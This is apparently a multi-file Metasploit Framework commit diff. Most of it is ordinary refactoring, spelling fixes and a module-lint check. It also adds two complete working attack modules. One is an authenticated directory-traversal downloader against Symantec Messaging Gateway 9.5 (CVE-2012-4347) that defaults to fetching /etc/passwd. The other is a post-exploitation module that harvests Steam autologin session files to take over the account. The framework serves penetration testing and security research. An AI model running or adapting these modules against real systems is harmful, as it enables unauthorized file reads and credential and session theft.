# Blow away anything that was cached but didn't exist during the
|
||||||
|
# recalculation
|
||||||
|
self.delete_if do |k, v|
|
||||||
|
next if v == SymbolicModule
|
||||||
|
!!(old_keys.include?(k) and not new_keys.include?(k))
|
||||||
|
end
|
||||||
|
|
||||||
flush_blob_cache
|
flush_blob_cache
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -276,8 +257,7 @@ class PayloadSet < ModuleSet
|
||||||
# returns an instance of that payload.
|
# returns an instance of that payload.
|
||||||
#
|
#
|
||||||
def find_payload_from_set(set, platform, arch, handler, session, payload_type)
|
def find_payload_from_set(set, platform, arch, handler, session, payload_type)
|
||||||
set.each do |m|
|
set.each do |name, mod|
|
||||||
name,mod = m
|
|
||||||
p = mod.new
|
p = mod.new
|
||||||
|
|
||||||
# We can't substitute one generic with another one.
|
# We can't substitute one generic with another one.
|
||||||
|
@ -303,6 +283,8 @@ class PayloadSet < ModuleSet
|
||||||
#
|
#
|
||||||
def add_single(p, name, modinfo)
|
def add_single(p, name, modinfo)
|
||||||
p.framework = framework
|
p.framework = framework
|
||||||
|
p.refname = name
|
||||||
|
p.file_path = modinfo['files'][0]
|
||||||
|
|
||||||
# Associate this class with the single payload's name
|
# Associate this class with the single payload's name
|
||||||
self[name] = p
|
self[name] = p
|
||||||
|
@ -310,9 +292,6 @@ class PayloadSet < ModuleSet
|
||||||
# Add the singles hash
|
# Add the singles hash
|
||||||
singles[name] = p
|
singles[name] = p
|
||||||
|
|
||||||
# Add it to the global module set
|
|
||||||
manager.add_module(p, name, modinfo)
|
|
||||||
|
|
||||||
dlog("Built single payload #{name}.", 'core', LEV_2)
|
dlog("Built single payload #{name}.", 'core', LEV_2)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -322,13 +301,12 @@ class PayloadSet < ModuleSet
|
||||||
#
|
#
|
||||||
def add_stage(p, full_name, stage_name, handler_type, modinfo)
|
def add_stage(p, full_name, stage_name, handler_type, modinfo)
|
||||||
p.framework = framework
|
p.framework = framework
|
||||||
|
p.refname = full_name
|
||||||
|
p.file_path = modinfo['files'][0]
|
||||||
|
|
||||||
# Associate this stage's full name with the payload class in the set
|
# Associate this stage's full name with the payload class in the set
|
||||||
self[full_name] = p
|
self[full_name] = p
|
||||||
|
|
||||||
# Add the full name association in the global module set
|
|
||||||
manager.add_module(p, full_name, modinfo)
|
|
||||||
|
|
||||||
# Create the hash entry for this stage and then create
|
# Create the hash entry for this stage and then create
|
||||||
# the associated entry for the handler type
|
# the associated entry for the handler type
|
||||||
stages[stage_name] = {} if (!stages[stage_name])
|
stages[stage_name] = {} if (!stages[stage_name])
|
||||||
|
@ -445,7 +423,7 @@ protected
|
||||||
return klass
|
return klass
|
||||||
end
|
end
|
||||||
|
|
||||||
attr_accessor :manager, :payload_type_modules # :nodoc:
|
attr_accessor :payload_type_modules # :nodoc:
|
||||||
attr_writer :stages, :singles, :sizes # :nodoc:
|
attr_writer :stages, :singles, :sizes # :nodoc:
|
||||||
attr_accessor :_instances # :nodoc:
|
attr_accessor :_instances # :nodoc:
|
||||||
|
|
||||||
|
|
|
@ -1859,7 +1859,7 @@ class Core
|
||||||
end
|
end
|
||||||
|
|
||||||
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
||||||
p = framework.modules.create(mod.datastore['PAYLOAD'])
|
p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||||
if (p)
|
if (p)
|
||||||
p.options.sorted.each { |e|
|
p.options.sorted.each { |e|
|
||||||
name, opt = e
|
name, opt = e
|
||||||
|
@ -2389,7 +2389,7 @@ class Core
|
||||||
|
|
||||||
# How about the selected payload?
|
# How about the selected payload?
|
||||||
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
||||||
p = framework.modules.create(mod.datastore['PAYLOAD'])
|
p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||||
if (p and p.options.include?(opt))
|
if (p and p.options.include?(opt))
|
||||||
res.concat(option_values_dispatch(p.options[opt], str, words))
|
res.concat(option_values_dispatch(p.options[opt], str, words))
|
||||||
end
|
end
|
||||||
|
@ -2623,7 +2623,7 @@ protected
|
||||||
# If it's an exploit and a payload is defined, create it and
|
# If it's an exploit and a payload is defined, create it and
|
||||||
# display the payload's options
|
# display the payload's options
|
||||||
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
||||||
p = framework.modules.create(mod.datastore['PAYLOAD'])
|
p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||||
|
|
||||||
if (!p)
|
if (!p)
|
||||||
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
|
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
|
||||||
|
@ -2688,7 +2688,7 @@ protected
|
||||||
# If it's an exploit and a payload is defined, create it and
|
# If it's an exploit and a payload is defined, create it and
|
||||||
# display the payload's options
|
# display the payload's options
|
||||||
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
||||||
p = framework.modules.create(mod.datastore['PAYLOAD'])
|
p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||||
|
|
||||||
if (!p)
|
if (!p)
|
||||||
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
|
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
|
||||||
|
@ -2711,7 +2711,7 @@ protected
|
||||||
# If it's an exploit and a payload is defined, create it and
|
# If it's an exploit and a payload is defined, create it and
|
||||||
# display the payload's options
|
# display the payload's options
|
||||||
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
||||||
p = framework.modules.create(mod.datastore['PAYLOAD'])
|
p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||||
|
|
||||||
if (!p)
|
if (!p)
|
||||||
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
|
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
|
||||||
|
|
|
@ -528,7 +528,7 @@ class Driver < Msf::Ui::Driver
|
||||||
framework.modules.module_load_error_by_path.each do |path, error|
|
framework.modules.module_load_error_by_path.each do |path, error|
|
||||||
print_error("\t#{path}: #{error}")
|
print_error("\t#{path}: #{error}")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
framework.events.on_ui_start(Msf::Framework::Revision)
|
framework.events.on_ui_start(Msf::Framework::Revision)
|
||||||
|
|
||||||
|
@ -551,7 +551,7 @@ class Driver < Msf::Ui::Driver
|
||||||
case var.downcase
|
case var.downcase
|
||||||
when "payload"
|
when "payload"
|
||||||
|
|
||||||
if (framework and framework.modules.valid?(val) == false)
|
if (framework and framework.payloads.valid?(val) == false)
|
||||||
return false
|
return false
|
||||||
elsif (active_module)
|
elsif (active_module)
|
||||||
active_module.datastore.clear_non_user_defined
|
active_module.datastore.clear_non_user_defined
|
||||||
|
|
|
@ -0,0 +1,158 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Symantec Messaging Gateway 9.5 Log File Download Vulnerability',
|
||||||
|
'Description' => %q{
|
||||||
|
This module will download a file of your choice against Symantec Messaging
|
||||||
|
Gateway. This is possible by exploiting a directory traversal vulnerability
|
||||||
|
when handling the 'logFile' parameter, which will load an arbitrary file as
|
||||||
|
an attachment. Note that authentication is required in order to successfully
|
||||||
|
download your file.
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2012-4347'],
|
||||||
|
['EDB', '23110'],
|
||||||
|
['OSVDB', '88165'],
|
||||||
|
['BID', '56789'],
|
||||||
|
['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00']
|
||||||
|
],
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Ben Williams <ben.williams[at]ngssecure.com>',
|
||||||
|
'sinn3r'
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'DisclosureDate' => "Nov 30 2012"
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(41080),
|
||||||
|
OptString.new('FILENAME', [true, 'The file to download', '/etc/passwd']),
|
||||||
|
OptString.new('USERNAME', [true, 'The username to login as']),
|
||||||
|
OptString.new('PASSWORD', [true, 'The password to login with'])
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
deregister_options('RHOST')
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def peer
|
||||||
|
"#{rhost}:#{rport}"
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def auth(username, password, sid, last_login)
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => '/brightmail/login.do',
|
||||||
|
'headers' => {
|
||||||
|
'Referer' => "http://#{peer}/brightmail/viewLogin.do"
|
||||||
|
},
|
||||||
|
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
|
||||||
|
'vars_post' => {
|
||||||
|
'lastlogin' => last_login,
|
||||||
|
'userLocale' => '',
|
||||||
|
'lang' => 'en_US',
|
||||||
|
'username' => username,
|
||||||
|
'password' => password,
|
||||||
|
'loginBtn' => 'Login'
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
if res and res.headers['Location']
|
||||||
|
new_uri = res.headers['Location'].scan(/^http:\/\/[\d\.]+:\d+(\/.+)/).flatten[0]
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => new_uri,
|
||||||
|
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}"
|
||||||
|
})
|
||||||
|
|
||||||
|
return true if res and res.body =~ /Logged in as: #{username}/
|
||||||
|
end
|
||||||
|
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def get_login_data
|
||||||
|
sid = '' #From cookie
|
||||||
|
last_login = '' #A hidden field in the login page
|
||||||
|
|
||||||
|
res = send_request_raw({'uri'=>'/brightmail/viewLogin.do'})
|
||||||
|
if res and res.headers['Set-Cookie']
|
||||||
|
sid = res.headers['Set-Cookie'].scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
|
||||||
|
end
|
||||||
|
|
||||||
|
if res
|
||||||
|
last_login = res.body.scan(/<input type="hidden" name="lastlogin" value="(.+)"\/>/).flatten[0] || ''
|
||||||
|
end
|
||||||
|
|
||||||
|
return sid, last_login
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def download_file(sid, fname)
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/brightmail/export',
|
||||||
|
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
|
||||||
|
'vars_get' => {
|
||||||
|
'type' => 'logs',
|
||||||
|
'logFile' => "../../#{fname}",
|
||||||
|
'logType' => '1',
|
||||||
|
'browserType' => '1'
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
if not res
|
||||||
|
print_error("#{peer} - Unable to download the file. The server timed out.")
|
||||||
|
return
|
||||||
|
elsif res and res.body.empty?
|
||||||
|
print_error("#{peer} - File not found or empty.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_line("")
|
||||||
|
vprint_line(res.body)
|
||||||
|
|
||||||
|
f = ::File.basename(fname)
|
||||||
|
p = store_loot('symantec.brightmail.file', 'application/octet-stream', rhost, res.body, f)
|
||||||
|
print_good("#{peer} - File saved as: '#{p}'")
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
sid, last_login = get_login_data
|
||||||
|
if sid.empty? or last_login.empty?
|
||||||
|
print_error("#{peer} - Missing required login data. Cannot continue.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
username = datastore['USERNAME']
|
||||||
|
password = datastore['PASSWORD']
|
||||||
|
if not auth(username, password, sid, last_login)
|
||||||
|
print_error("#{peer} - Unable to login. Cannot continue.")
|
||||||
|
return
|
||||||
|
else
|
||||||
|
print_good("#{peer} - Logged in as '#{username}:#{password}'")
|
||||||
|
end
|
||||||
|
|
||||||
|
fname = datastore['FILENAME']
|
||||||
|
download_file(sid, fname)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -61,10 +61,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negociation, when set client will use ntlmssp, if not then client will use classic lanman authentification", false ]),
|
OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negotiation, when set client will use ntlmssp, if not then client will use classic lanman authentification", false ]),
|
||||||
OptBool.new("NTLM_UseNTLM2_session", [ true, "Activate the 'negociate NTLM2 key' flag in NTLM authentication. " +
|
OptBool.new("NTLM_UseNTLM2_session", [ true, "Activate the 'negotiate NTLM2 key' flag in NTLM authentication. " +
|
||||||
"When SMB extended security negociation is set, client will use ntlm2_session instead of ntlmv1 (default on win 2K and above)", false ]),
|
"When SMB extended security negotiate is set, client will use ntlm2_session instead of ntlmv1 (default on win 2K and above)", false ]),
|
||||||
OptBool.new("USE_GSS_NEGOCIATION", [ true, "Send a gss_security blob in smb_negociate response when SMB extended security is set. " +
|
OptBool.new("USE_GSS_NEGOTIATION", [ true, "Send a gss_security blob in smb_negotiate response when SMB extended security is set. " +
|
||||||
"When this flag is not set, Windows will respond without gss encapsulation, Ubuntu will still use gss.", true ]),
|
"When this flag is not set, Windows will respond without gss encapsulation, Ubuntu will still use gss.", true ]),
|
||||||
OptString.new('DOMAIN_NAME', [ true, "The domain name used during smb exchange with smb extended security set ", "anonymous" ])
|
OptString.new('DOMAIN_NAME', [ true, "The domain name used during smb exchange with smb extended security set ", "anonymous" ])
|
||||||
], self.class)
|
], self.class)
|
||||||
|
@ -74,7 +74,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
def run
|
def run
|
||||||
@s_smb_esn = datastore['SMB_EXTENDED_SECURITY']
|
@s_smb_esn = datastore['SMB_EXTENDED_SECURITY']
|
||||||
@s_ntlm_esn = datastore['NTLM_UseNTLM2_session']
|
@s_ntlm_esn = datastore['NTLM_UseNTLM2_session']
|
||||||
@s_gss_neg = datastore['USE_GSS_NEGOCIATION']
|
@s_gss_neg = datastore['USE_GSS_NEGOTIATION']
|
||||||
@domain_name = datastore['DOMAIN_NAME']
|
@domain_name = datastore['DOMAIN_NAME']
|
||||||
|
|
||||||
@s_GUID = [Rex::Text.rand_text_hex(32)].pack('H*')
|
@s_GUID = [Rex::Text.rand_text_hex(32)].pack('H*')
|
||||||
|
@ -103,7 +103,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
case cmd
|
case cmd
|
||||||
when CONST::SMB_COM_NEGOTIATE
|
when CONST::SMB_COM_NEGOTIATE
|
||||||
#client set extended security negociation
|
#client set extended security negotiation
|
||||||
if (pkt['Payload']['SMB'].v['Flags2'] & 0x800 != 0)
|
if (pkt['Payload']['SMB'].v['Flags2'] & 0x800 != 0)
|
||||||
smb_cmd_negotiate(c, buff, true)
|
smb_cmd_negotiate(c, buff, true)
|
||||||
else
|
else
|
||||||
|
@ -204,7 +204,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
def smb_cmd_session_setup(c, buff, esn)
|
def smb_cmd_session_setup(c, buff, esn)
|
||||||
smb = @state[c]
|
smb = @state[c]
|
||||||
|
|
||||||
#extended security has been negociated
|
#extended security has been negotiated
|
||||||
if esn
|
if esn
|
||||||
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
|
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
|
||||||
pkt.from_s(buff)
|
pkt.from_s(buff)
|
||||||
|
@ -422,7 +422,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
nt_cli_challenge = arg[:nt_cli_challenge]
|
nt_cli_challenge = arg[:nt_cli_challenge]
|
||||||
end
|
end
|
||||||
|
|
||||||
# Clean up the data for loggging
|
# Clean up the data for logging
|
||||||
if (smb[:username] == "")
|
if (smb[:username] == "")
|
||||||
smb[:username] = nil
|
smb[:username] = nil
|
||||||
end
|
end
|
||||||
|
|
|
@ -27,9 +27,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
"@marcwickenden", # discovery and metasploit module
|
"marcwickenden", # discovery and metasploit module
|
||||||
"sinn3r", # metasploit module
|
"sinn3r", # metasploit module
|
||||||
"juan vazquez", # metasploit module
|
"juan vazquez" # metasploit module
|
||||||
],
|
],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'References' =>
|
'References' =>
|
||||||
|
|
|
@ -34,6 +34,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
|
['OSVDB', '88302'],
|
||||||
|
['OSVDB', '88303'],
|
||||||
['URL', 'http://metasploit.com']
|
['URL', 'http://metasploit.com']
|
||||||
],
|
],
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
|
|
|
@ -312,7 +312,7 @@ get_server_uri:
|
||||||
call httpopenrequest
|
call httpopenrequest
|
||||||
|
|
||||||
server_uri:
|
server_uri:
|
||||||
db "/#{server_uri}", 0x00
|
db "#{server_uri}", 0x00
|
||||||
|
|
||||||
create_file:
|
create_file:
|
||||||
jmp.i8 get_filename
|
jmp.i8 get_filename
|
||||||
|
|
|
@ -0,0 +1,78 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/post/file'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super( update_info(info,
|
||||||
|
'Name' => 'Steam client session Collector.',
|
||||||
|
'Description' => %q{ This module will collect Steam session information from an
|
||||||
|
account set to autologin. },
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => ['Nikolai Rusakov <nikolai.rusakov[at]gmail.com>'],
|
||||||
|
'Platform' => ['win'],
|
||||||
|
'SessionTypes' => ['meterpreter' ]
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
# All that is needed to login to another Steam account is config.vdf,
|
||||||
|
# setting the AutoLoginUser to the proper username and RememberPassword
|
||||||
|
# to 1 in SteamAppData.vdf.
|
||||||
|
# Only tested on Win7 x64
|
||||||
|
#
|
||||||
|
# config.vdf , ContentCache element holds a K,V table of what appears
|
||||||
|
# to be UniqueID, Session. This is purely speculation as I have not
|
||||||
|
# reversed it to check. However the key is always unique to the account
|
||||||
|
# and the value changes whenever the account is logged out and then
|
||||||
|
# back in.
|
||||||
|
def run
|
||||||
|
steamappdata = 'SteamAppData.vdf'
|
||||||
|
steamconfig = 'config.vdf'
|
||||||
|
u_rx = /AutoLoginUser\W*\"(.*)\"/
|
||||||
|
|
||||||
|
# Steam client is only 32 bit so we need to know what arch we are on so that we can use
|
||||||
|
# the correct program files folder.
|
||||||
|
# We will just use an x64 only defined env variable to check.
|
||||||
|
if not expand_path('%ProgramFiles(X86)%').empty? and expand_path('%ProgramFiles(X86)%') !~ /%ProgramFiles\(X86\)%/
|
||||||
|
progs = expand_path('%ProgramFiles(X86)%') #x64
|
||||||
|
else
|
||||||
|
progs = expand_path('%ProgramFiles%') #x86
|
||||||
|
end
|
||||||
|
path = progs + '\\Steam\\config'
|
||||||
|
|
||||||
|
print_status("Checking for Steam configs in #{path}")
|
||||||
|
|
||||||
|
# Check if all the files are there.
|
||||||
|
if directory?(path) && file?("#{path}\\#{steamappdata}") && file?("#{path}\\#{steamconfig}")
|
||||||
|
print_status("Located steam config files.")
|
||||||
|
sad = read_file("#{path}\\#{steamappdata}")
|
||||||
|
if sad =~ /RememberPassword\W*\"1\"/
|
||||||
|
print_status("RememberPassword is set! Accountname is #{u_rx.match(sad)[1]}")
|
||||||
|
scd = read_file("#{path}\\#{steamconfig}")
|
||||||
|
steam_app_data_path = store_loot('steam.config', 'text/plain', session, sad, filename=steamappdata)
|
||||||
|
print_good("The file SteamAppData.vdf has been stored on #{steam_app_data_path}")
|
||||||
|
steam_config_path = store_loot('steam.config', 'text/plain', session, scd, filename=steamconfig)
|
||||||
|
print_good("The file config.vdf has been stored on #{steam_config_path}")
|
||||||
|
print_status("Steam configs harvested successfully!")
|
||||||
|
else
|
||||||
|
print_error("RememberPassword is not set, exiting.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error("Steam configs not found.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -36,8 +36,9 @@ class Msftidy
|
||||||
|
|
||||||
##
|
##
|
||||||
#
|
#
|
||||||
# The following two functions only print what you throw at them.
|
# The following two functions only print what you throw at them,
|
||||||
# With an option of displaying the line number.
|
# with the option of displying the line number. error() is meant
|
||||||
|
# for mistakes that might actually break something.
|
||||||
#
|
#
|
||||||
##
|
##
|
||||||
|
|
||||||
|
@ -58,6 +59,70 @@ class Msftidy
|
||||||
#
|
#
|
||||||
##
|
##
|
||||||
|
|
||||||
|
def check_badchars
|
||||||
|
badchars = %Q|&<=>|
|
||||||
|
|
||||||
|
in_super = false
|
||||||
|
in_author = false
|
||||||
|
|
||||||
|
@source.each_line do |line|
|
||||||
|
#
|
||||||
|
# Mark our "super" code block
|
||||||
|
#
|
||||||
|
if !in_super and line =~ /[\n\t]+super\(/
|
||||||
|
in_super = true
|
||||||
|
elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/
|
||||||
|
in_super = false
|
||||||
|
break
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# While in super() code block
|
||||||
|
#
|
||||||
|
if in_super and line =~ /'Name'[[:space:]]*=>[[:space:]]*['|"](.+)['|"]/
|
||||||
|
# Now we're checking the module titlee
|
||||||
|
mod_title = $1
|
||||||
|
mod_title.each_char do |c|
|
||||||
|
if badchars.include?(c)
|
||||||
|
error("'#{c}' is a bad character in module title.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if not mod_title.ascii_only?
|
||||||
|
error("Please avoid unicode in module title.")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Since we're looking at the module title, this line clearly cannot be
|
||||||
|
# the author block, so no point to run more code below.
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Mark our 'Author' block
|
||||||
|
#
|
||||||
|
if in_super and !in_author and line =~ /'Author'[[:space:]]*=>/
|
||||||
|
in_author = true
|
||||||
|
elsif in_super and in_author and line =~ /\],*\n/
|
||||||
|
in_author = false
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
#
|
||||||
|
# While in 'Author' block, check for Twitter handles
|
||||||
|
#
|
||||||
|
if in_super and in_author and line =~ /['|"](.+)['|"]/
|
||||||
|
author_name = $1
|
||||||
|
if author_name =~ /^@.+$/
|
||||||
|
error("No Twitter handle, please. Try leaving it in a comment instead.")
|
||||||
|
end
|
||||||
|
|
||||||
|
if not author_name.ascii_only?
|
||||||
|
error("Please avoid unicode in Author")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
def check_extname
|
def check_extname
|
||||||
if File.extname(@name) != '.rb'
|
if File.extname(@name) != '.rb'
|
||||||
error("Module should be a '.rb' file, or it won't load.")
|
error("Module should be a '.rb' file, or it won't load.")
|
||||||
|
@ -126,7 +191,7 @@ class Msftidy
|
||||||
[words.first, words.last].each do |word|
|
[words.first, words.last].each do |word|
|
||||||
if word[0,1] =~ /[a-z]/ and word[1,1] !~ /[A-Z0-9]/
|
if word[0,1] =~ /[a-z]/ and word[1,1] !~ /[A-Z0-9]/
|
||||||
next if word =~ /php[A-Z]/
|
next if word =~ /php[A-Z]/
|
||||||
next if %w{iseemedia activePDF freeFTPd osCommerce myBB qdPM}.include? word
|
next if %w{iseemedia activePDF freeFTPd osCommerce myBB qdPM inetd wallet.dat}.include? word
|
||||||
warn("Improper capitalization in module title: '#{word}...'")
|
warn("Improper capitalization in module title: '#{word}...'")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -234,6 +299,7 @@ end
|
||||||
|
|
||||||
def run_checks(f_rel)
|
def run_checks(f_rel)
|
||||||
tidy = Msftidy.new(f_rel)
|
tidy = Msftidy.new(f_rel)
|
||||||
|
tidy.check_badchars
|
||||||
tidy.check_extname
|
tidy.check_extname
|
||||||
tidy.test_old_rubies(f_rel)
|
tidy.test_old_rubies(f_rel)
|
||||||
tidy.check_ranking
|
tidy.check_ranking
|
||||||
|
|
Loading…
Reference in New Issue